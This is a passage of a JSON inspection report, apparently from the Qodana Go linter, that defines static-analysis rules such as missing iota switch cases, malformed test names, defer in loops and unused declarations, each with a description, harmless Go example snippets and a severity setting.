}\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Code style issues\",\n                      \"index\": 31,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoSwitchMissingCasesForIotaConsts\",\n                \"shortDescription\": {\n                  \"text\": \"Missing 'case' statements for 'iota' consts in 'switch'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unhandled values in 'switch' statements when the 'iota' identifier is in the 'const' declaration. To handle these values, consider using 'case' or 'default' clauses. The 'iota' keyword in Go creates a sequence of integers in a 'const' block. Although the Go compiler does not require handling all 'iota' values, missing some of them could indicate a bug. For more information about 'iota', refer to Iota at go.dev. Examples: 'const (\\n  a = iota\\n  b\\n  c = -5\\n)\\n\\nfunc main() {\\n  v := 5\\n  switch v {\\n  case a:\\n    break;\\n  case b:\\n    break;\\n  }\\n}' The IDE triggers an inspection because 'c' is not handled by the 'switch' statement. Note that 'c' is in the same 'const' block even if it does not use 'iota'. Quick-fix options are Create 'case' clause for values and Create 'default' clause. After the Create 'default' clause quick-fix is applied: 'const (\\n  a = iota\\n  b\\n  c\\n)\\n\\nfunc main() {\\n  v := 5\\n  switch v {\\n  case a:\\n    break;\\n  default:\\n  }\\n}'\",\n                  \"markdown\": \"Reports unhandled values in `switch` statements when the `iota` identifier is in the `const` declaration. To handle these values, consider using `case` or `default` clauses.\\n\\n\\nThe `iota` keyword in Go creates a sequence of integers in a `const` block. Although the Go compiler does not require handling all `iota` values, missing some of them could indicate a bug.\\n\\nFor more information about `iota`, refer to [Iota at go.dev](https://go.dev/ref/spec#Iota).\\n\\nExamples:\\n\\n    const (\\n      a = iota\\n      b\\n      c = -5\\n    )\\n\\n    func main() {\\n      v := 5\\n      switch v {\\n      case a:\\n        break;\\n      case b:\\n        break;\\n      }\\n    }\\n\\n\\nThe IDE triggers an inspection because `c` is not handled by the `switch` statement. Note that `c` is in the same `const` block even if it does not use `iota`.\\n\\nQuick-fix options are **Create 'case' clause for values** and **Create 'default' clause** . After the **Create 'default' clause** quick-fix is applied:\\n\\n    const (\\n      a = iota\\n      b\\n      c\\n    )\\n\\n    func main() {\\n      v := 5\\n      switch v {\\n      case a:\\n        break;\\n      default:\\n      }\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoSwitchMissingCasesForIotaConsts\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoTestName\",\n                \"shortDescription\": {\n                  \"text\": \"Malformed test function name\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports malformed names of tests, benchmarks, and examples. According to Package testing at go.dev, names must follow a special convention in order to make the go tool process them correctly. Example: 'func Testfoo(*testing.T) {} // the 'go' tool will not run this test' After the Rename to quick-fix is applied: 'func TestFoo(*testing.T) {}'\",\n                  \"markdown\": \"Reports malformed names of tests, benchmarks, and examples.\\n\\nAccording to [Package testing at go.dev](https://pkg.go.dev/testing), names must follow a special convention\\nin order to make the go tool process them correctly.\\n\\nExample:\\n\\n    func Testfoo(*testing.T) {} // the 'go' tool will not run this test\\n\\nAfter the **Rename to** quick-fix is applied:\\n\\n    func TestFoo(*testing.T) {}\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoTestName\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/General\",\n                      \"index\": 38,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoErrorStringFormat\",\n                \"shortDescription\": {\n                  \"text\": \"Error string should not be capitalized or end with punctuation\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports format issues in error strings. Example: 'err := fmt.Errorf(\\\"Cannot read the file!\\\")\\nlog.Printf(\\\"Reading %s: %v\\\", file, err)' According to Error Strings at github.com/golang, error strings should not be capitalized or end with punctuation because they might appear among other context. To fix the format, you can apply the Fix error string format quick-fix. After the quick-fix is applied, the error string will look like this: 'err := fmt.Errorf(\\\"cannot read the file\\\")\\nlog.Printf(\\\"Reading %s: %v\\\", file, err)'\",\n                  \"markdown\": \"Reports format issues in error strings.\\n\\nExample:\\n\\n    err := fmt.Errorf(\\\"Cannot read the file!\\\")\\n    log.Printf(\\\"Reading %s: %v\\\", file, err)\\n\\nAccording to\\n[Error Strings at github.com/golang](https://github.com/golang/go/wiki/CodeReviewComments#error-strings),\\nerror strings should not be capitalized or end with punctuation because they might appear among other context.\\n\\nTo fix the format, you can apply the **Fix error string format** quick-fix. After the quick-fix is applied,\\nthe error string will look like this:\\n\\n    err := fmt.Errorf(\\\"cannot read the file\\\")\\n    log.Printf(\\\"Reading %s: %v\\\", file, err)\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoErrorStringFormat\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Code style issues\",\n                      \"index\": 31,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoCommentLeadingSpace\",\n                \"shortDescription\": {\n                  \"text\": \"Comment has no leading space\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports comments without a leading space. Note that the inspection works only if you select the Add a leading space to comments in Editor | Code Style | Go on the Other tab. Comments with a leading space can be easier to read since the first word is separated from the comment by a space. Example: '//Prints JSON received from the createJSON function\\nfunc printJSON(output []byte) {\\n\\tfmt.Println(string(output))\\n}'\",\n                  \"markdown\": \"Reports comments without a leading space.\\n\\nNote that the inspection works only if you select the **Add a leading space to comments** in **Editor \\\\| Code Style \\\\| Go** on the\\n**Other** tab.\\n\\nComments with a leading space can be easier to read since the first word is separated from the comment by a space.\\n\\nExample:\\n\\n    //Prints JSON received from the createJSON function\\n    func printJSON(output []byte) {\\n    \\tfmt.Println(string(output))\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoCommentLeadingSpace\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Code style issues\",\n                      \"index\": 31,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoDeferInLoop\",\n                \"shortDescription\": {\n                  \"text\": \"'defer' in the loop\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports 'defer' statements inside loops. Using 'defer' in loops can lead to resource leaks or unpredictable execution order of statements. Example: 'func main() {\\n for {\\n  field, err := db.Query(\\\"SELECT 1\\\")\\n  if err != nil {\\n   // ...\\n  }\\n  defer field.Close()\\n  // ...\\n }\\n}' Calls of 'defer row.Close()' inside the loop are not executed until the function completes its execution. Not at the end of each step of the 'for' loop. Such implementation might lead to overflow of the function's stack and other issues.\",\n                  \"markdown\": \"Reports `defer` statements inside loops.\\n\\nUsing `defer` in loops can lead to resource leaks or unpredictable execution order of statements.\\n\\nExample:\\n\\n    func main() {\\n     for {\\n      field, err := db.Query(\\\"SELECT 1\\\")\\n      if err != nil {\\n       // ...\\n      }\\n      defer field.Close()\\n      // ...\\n     }\\n    }\\n\\nCalls of `defer row.Close()` inside the loop are not executed until the function completes its execution.\\nNot at the end of each step of the `for` loop. Such implementation might lead to overflow of the function's stack and\\nother issues.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoDeferInLoop\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Control flow issues\",\n                      \"index\": 50,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoErrorsAs\",\n                \"shortDescription\": {\n                  \"text\": \"Incorrect usage of the 'errors.As' function\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports calls of the 'errors.As' function when the second argument is not a pointer to an interface or to a type that implements an error. Such calls panic at runtime. For more information about the 'As' function, refer to func As at go.dev. Example: '_, err := os.Open(\\\"non-existing\\\")\\nvar pathError *fs.PathError\\nif errors.As(err, pathError) { // a pointer to *fs.PathError is required\\n}' After the Prepend '&' quick-fix is applied: '_, err := os.Open(\\\"non-existing\\\")\\nvar pathError *fs.PathError\\nif errors.As(err, &pathError) {\\n}' This inspection only reports if the language version is 1.13 or higher.\",\n                  \"markdown\": \"Reports calls of the `errors.As` function when the second argument is not a pointer to an interface or to a type that implements an error.\\n\\nSuch calls panic at runtime.\\n\\nFor more information about the `As` function, refer to [func As at go.dev](https://pkg.go.dev/errors#As).\\n\\nExample:\\n\\n    _, err := os.Open(\\\"non-existing\\\")\\n    var pathError *fs.PathError\\n    if errors.As(err, pathError) { // a pointer to *fs.PathError is required\\n    }\\n\\nAfter the **Prepend '\\\\&'** quick-fix is applied:\\n\\n    _, err := os.Open(\\\"non-existing\\\")\\n    var pathError *fs.PathError\\n    if errors.As(err, &pathError) {\\n    }\\n\\nThis inspection only reports if the language version is 1.13 or higher.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoErrorsAs\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoExportedElementShouldHaveComment\",\n                \"shortDescription\": {\n                  \"text\": \"Exported element should have a comment\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports exported declarations without a documentation comment. According to Doc Comments at github.com/golang, all top-level exported names should have doc comments. Also, for more information about comment sentences, refer to Comment Sentences at github.com/golang. To add a comment, you can apply the Add comment quick-fix.\",\n                  \"markdown\": \"Reports exported declarations without a documentation comment. According to [Doc Comments at github.com/golang](https://github.com/golang/go/wiki/CodeReviewComments#doc-comments), all top-level exported names should have doc comments.\\n\\nAlso, for more information about comment sentences, refer to [Comment\\nSentences at github.com/golang](https://github.com/golang/go/wiki/CodeReviewComments#comment-sentences).\\n\\nTo add a comment, you can apply the **Add comment** quick-fix.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoExportedElementShouldHaveComment\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Code style issues\",\n                      \"index\": 31,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"VgoDependencyDeprecated\",\n                \"shortDescription\": {\n                  \"text\": \"Deprecated dependency\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports deprecated dependencies. Using deprecated versions can lead to security vulnerabilities, incompatibility issues, inefficiencies, and other risks. To solve a problem, you can follow the migration instructions in the provided deprecation notice or use another dependency. Available quick-fixes may suggest reading the deprecation notice. For more information, refer to Module Deprecation at go.dev. Deprecation data is provided by the command go list -m -u.\",\n                  \"markdown\": \"Reports deprecated dependencies. Using deprecated versions can lead to security vulnerabilities, incompatibility issues, inefficiencies, and other risks.\\n\\nTo solve a problem, you can follow the migration instructions in the provided deprecation notice or use another dependency.\\n\\nAvailable quick-fixes may suggest reading the deprecation notice.\\n\\n\\nFor more information, refer to [Module Deprecation at go.dev](https://go.dev/ref/mod#go-mod-file-module-deprecation).  \\n\\nDeprecation data is provided by the command [go list -m -u](https://go.dev/ref/mod#go-list-m).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"VgoDependencyDeprecated\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go modules/Dependency issues (go list -m -u)\",\n                      \"index\": 57,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoUnusedExportedFunction\",\n                \"shortDescription\": {\n                  \"text\": \"Unused exported function\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unused exported functions. In Go, a function is exported if it begins with a capital letter. Names of exported functions that were defined but never used are grayed out. '// Unused exported function\\nfunc ExportedUnusedFunc()  {\\n\\n}\\n\\nfunc main() {\\n fmt.Println(\\\"Hello\\\")\\n}'\",\n                  \"markdown\": \"Reports unused exported functions.\\n\\nIn Go, a function is exported if it begins with a capital letter. Names of exported functions that were defined but never used are\\ngrayed out.\\n\\n    // Unused exported function\\n    func ExportedUnusedFunc()  {\\n\\n    }\\n\\n    func main() {\\n     fmt.Println(\\\"Hello\\\")\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoUnusedExportedFunction\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoExportedFuncWithUnexportedType\",\n                \"shortDescription\": {\n                  \"text\": \"Unexported return type of the exported function\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports exported functions with unexported return types. Unexported types can be difficult to use when viewing documentation under go doc. Example: 'type hidden struct{}\\n\\nfunc Exported() hidden { // Exported function with the `hidden` unexported return type\\n return hidden{}\\n}' You can apply Export quick-fix to export the type. After the quick-fix is applied, type name will be capitalized: 'type Hidden struct{}\\n\\nfunc Exported() Hidden { // Fixed\\n return Hidden{}\\n}'\",\n                  \"markdown\": \"Reports exported functions with unexported return types.\\n\\nUnexported types can be difficult to use when viewing documentation under **go doc**.\\n\\nExample:\\n\\n    type hidden struct{}\\n\\n    func Exported() hidden { // Exported function with the `hidden` unexported return type\\n     return hidden{}\\n    }\\n\\nYou can apply **Export** quick-fix to export the type. After the quick-fix is applied,\\ntype name will be capitalized:\\n\\n    type Hidden struct{}\\n\\n    func Exported() Hidden { // Fixed\\n     return Hidden{}\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoExportedFuncWithUnexportedType\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/General\",\n                      \"index\": 38,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoInfiniteFor\",\n                \"shortDescription\": {\n                  \"text\": \"Infinite 'for' loop\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports empty 'for' loops. Running this code will make the CPU usage stay at maximum and will make the machine nearly unusable. Example: 'func main() {\\n for {\\n }\\n}'\",\n                  \"markdown\": \"Reports empty `for` loops.\\n\\nRunning this code will make the CPU usage stay at maximum and will make the machine nearly unusable.\\n\\nExample:\\n\\n    func main() {\\n     for {\\n     }\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoInfiniteFor\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Control flow issues\",\n                      \"index\": 50,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoUnusedConst\",\n                \"shortDescription\": {\n                  \"text\": \"Unused constant\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports constants that are defined but are never used in code. 'func main() {\\n const i = 100\\n}' Unlike unused variables and imports, this code will compile. Unused constants might increase your code base and slow down program compilation. To delete the unused constant, consider using the Delete constant quick-fix.\",\n                  \"markdown\": \"Reports constants that are defined but are never used in code.\\n\\n    func main() {\\n     const i = 100\\n    }\\n\\nUnlike unused variables and imports, this code will compile. Unused constants might increase your code base and\\nslow down program compilation. To delete the unused constant, consider using the **Delete constant** quick-fix.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoUnusedConst\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoUnusedFunction\",\n                \"shortDescription\": {\n                  \"text\": \"Unused function\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unused unexported functions. In Go, a function is unexported if it begins with a small letter. Names of unexported functions that were defined but never used are grayed out. '// Unused unexported function\\nfunc unExportedUnusedFunc()  {\\n\\n}\\n\\nfunc main() {\\n fmt.Println(\\\"Hello\\\")\\n}'\",\n                  \"markdown\": \"Reports unused unexported functions.\\n\\nIn Go, a function is unexported if it begins with a small letter. Names of unexported functions that were defined but never used are\\ngrayed out.\\n\\n    // Unused unexported function\\n    func unExportedUnusedFunc()  {\\n\\n    }\\n\\n    func main() {\\n     fmt.Println(\\\"Hello\\\")\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoUnusedFunction\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoMissingTrailingComma\",\n                \"shortDescription\": {\n                  \"text\": \"Missing trailing comma before a newline in a composite literal\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a missing trailing comma before a newline in composite literals, function call arguments, and function parameter lists. Example: 'func f(f int) (\\n int,\\n bool   // missing a trailing comma\\n){\\n println(1, 2  // missing a trailing comma\\n )\\n}'\",\n                  \"markdown\": \"Reports a missing trailing comma before a newline in composite literals, function call arguments, and function parameter lists.\\n\\nExample:\\n\\n    func f(f int) (\\n     int,\\n     bool   // missing a trailing comma\\n    ){\\n     println(1, 2  // missing a trailing comma\\n     )\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoMissingTrailingComma\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/General\",\n                      \"index\": 38,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoTypeParameterInLowerCase\",\n                \"shortDescription\": {\n                  \"text\": \"Type parameter is declared in lowercase\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports type parameters that are declared in lowercase. Examples in the official Go documentation use type parameters in uppercase. This inspection follows this uppercase rule for type parameters. 'func PrintSlice[t any](s []t) {\\n    for _, v := range s{\\n        print(v)\\n    }\\n}' The type parameter 't' is declared in lowercase and thus will be reported.\",\n                  \"markdown\": \"Reports type parameters that are declared in lowercase.\\n\\nExamples in the official Go documentation use type parameters in uppercase.\\nThis inspection follows this uppercase rule for type parameters.\\n\\n    func PrintSlice[t any](s []t) {\\n        for _, v := range s{\\n            print(v)\\n        }\\n    }\\n\\nThe type parameter `t` is declared in lowercase and thus will be reported.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoTypeParameterInLowerCase\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Code style issues\",\n                      \"index\": 31,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoStringsReplaceCount\",\n                \"shortDescription\": {\n                  \"text\": \"Incorrect 'strings.Replace' count argument\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports 'strings.Replace' calls with the replace count '0' instead of '-1'. The count argument for how many times a string should be replaced should not be '0' as it will not replace anything and make the function call redundant. Use '-1' instead. Example: 'a := strings.Replace(\\\"SSS\\\", \\\"S\\\", \\\"H\\\", 0) // replaces nothing\\nb := strings.Replace(\\\"SSS\\\", \\\"S\\\", \\\"H\\\", -1) // replaces all S occurrences with H'\",\n                  \"markdown\": \"Reports `strings.Replace` calls with the replace count `0` instead of `-1`.\\n\\nThe count argument for how many times a string should be replaced should not be `0`\\nas it will not replace anything and make the function call redundant. Use `-1` instead.\\n\\nExample:\\n\\n    a := strings.Replace(\\\"SSS\\\", \\\"S\\\", \\\"H\\\", 0) // replaces nothing\\n    b := strings.Replace(\\\"SSS\\\", \\\"S\\\", \\\"H\\\", -1) // replaces all S occurrences with H\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoStringsReplaceCount\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoUnusedCallResult\",\n                \"shortDescription\": {\n                  \"text\": \"Unused function or method call result\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports calls to certain functions and methods that do not handle a call result. An API of such functions imply that users should call them mostly to get a return value and process it, not for side effects. Calls that do not handle the result could be an indication of a misuse of the API. Example: 'fmt.Errorf(\\\"error: %s\\\", reason) // constructed error is ignored' After the Introduce local variable quick-fix is applied: 'err := fmt.Errorf(\\\"error: %s\\\", reason)'\",\n                  \"markdown\": \"Reports calls to certain functions and methods that do not handle a call result.\\n\\nAn API of such functions imply that users\\nshould call them mostly to get a return value and process it, not for side effects. Calls that do not handle the result\\ncould be an indication of a misuse of the API.\\n\\nExample:\\n\\n    fmt.Errorf(\\\"error: %s\\\", reason) // constructed error is ignored\\n\\nAfter the **Introduce local variable** quick-fix is applied:\\n\\n    err := fmt.Errorf(\\\"error: %s\\\", reason)\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoUnusedCallResult\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoUnusedType\",\n                \"shortDescription\": {\n                  \"text\": \"Unused type\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unused types. 'type user struct {\\n FirstName string    `json:\\\"firstname\\\"`\\n LastName  string    `json:\\\"lastname\\\"`\\n}\\n\\nfunc main() {\\n \\n}' The 'user' type will be grayed out because it is not used anywhere in code.\",\n                  \"markdown\": \"Reports unused types.\\n\\n    type user struct {\\n     FirstName string    `json:\\\"firstname\\\"`\\n     LastName  string    `json:\\\"lastname\\\"`\\n    }\\n\\n    func main() {\\n     \\n    }\\n\\nThe `user` type will be grayed out because it is not used anywhere in code.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoUnusedType\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoFuzzingSupport\",\n                \"shortDescription\": {\n                  \"text\": \"Fuzzing is supported starting with Go 1.18\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports presence of fuzz tests when Go SDK version is less than 1.18 Fuzz testing is a method of automated testing that involves a directed search for input data that may cause a program crash or expose invalid behavior. Go supports fuzz testing starting from Go 1.18. Example of a fuzz test: 'func Div(a, b int) int {\\n\\treturn a / b\\n}\\n\\nfunc FuzzDiv(f *testing.F) {\\n\\tf.Fuzz(func(t *testing.T, a, b int) {\\n\\t\\tDiv(a, b) // reports runtime error: integer divide by zero\\n\\t})\\n}' See Go Fuzzing for more information.\",\n                  \"markdown\": \"Reports presence of fuzz tests when Go SDK version is less than 1.18\\n\\nFuzz testing is a method of automated testing that involves a directed search for input data that may cause a program crash\\nor expose invalid behavior. Go supports fuzz testing starting from Go 1.18.\\n\\nExample of a fuzz test:\\n\\n\\n    func Div(a, b int) int {\\n    \\treturn a / b\\n    }\\n\\n    func FuzzDiv(f *testing.F) {\\n    \\tf.Fuzz(func(t *testing.T, a, b int) {\\n    \\t\\tDiv(a, b) // reports runtime error: integer divide by zero\\n    \\t})\\n    }\\n\\n\\nSee [Go Fuzzing](https://go.dev/doc/fuzz/) for more information.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoFuzzingSupport\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/General\",\n                      \"index\": 38,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoBoolExpressions\",\n                \"shortDescription\": {\n                  \"text\": \"Bool condition\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports parts of boolean expressions that are either always 'true', always 'false', or redundant. Such boolean expressions can be simplified, which may improve a readability of the code. In some cases, this also indicates a presence of other issues. Example: 'func isNonZero(x, y int) bool {\\n  // the second comparison is either always true\\n  // or not executed at all\\n  return x > 0 && x > 0\\n}' You can apply the Simplify expression quick-fix for the 'x > 0 && x > 0' part. After the quick-fix is applied, the expression looks as follows: 'x > 0'.\",\n                  \"markdown\": \"Reports parts of 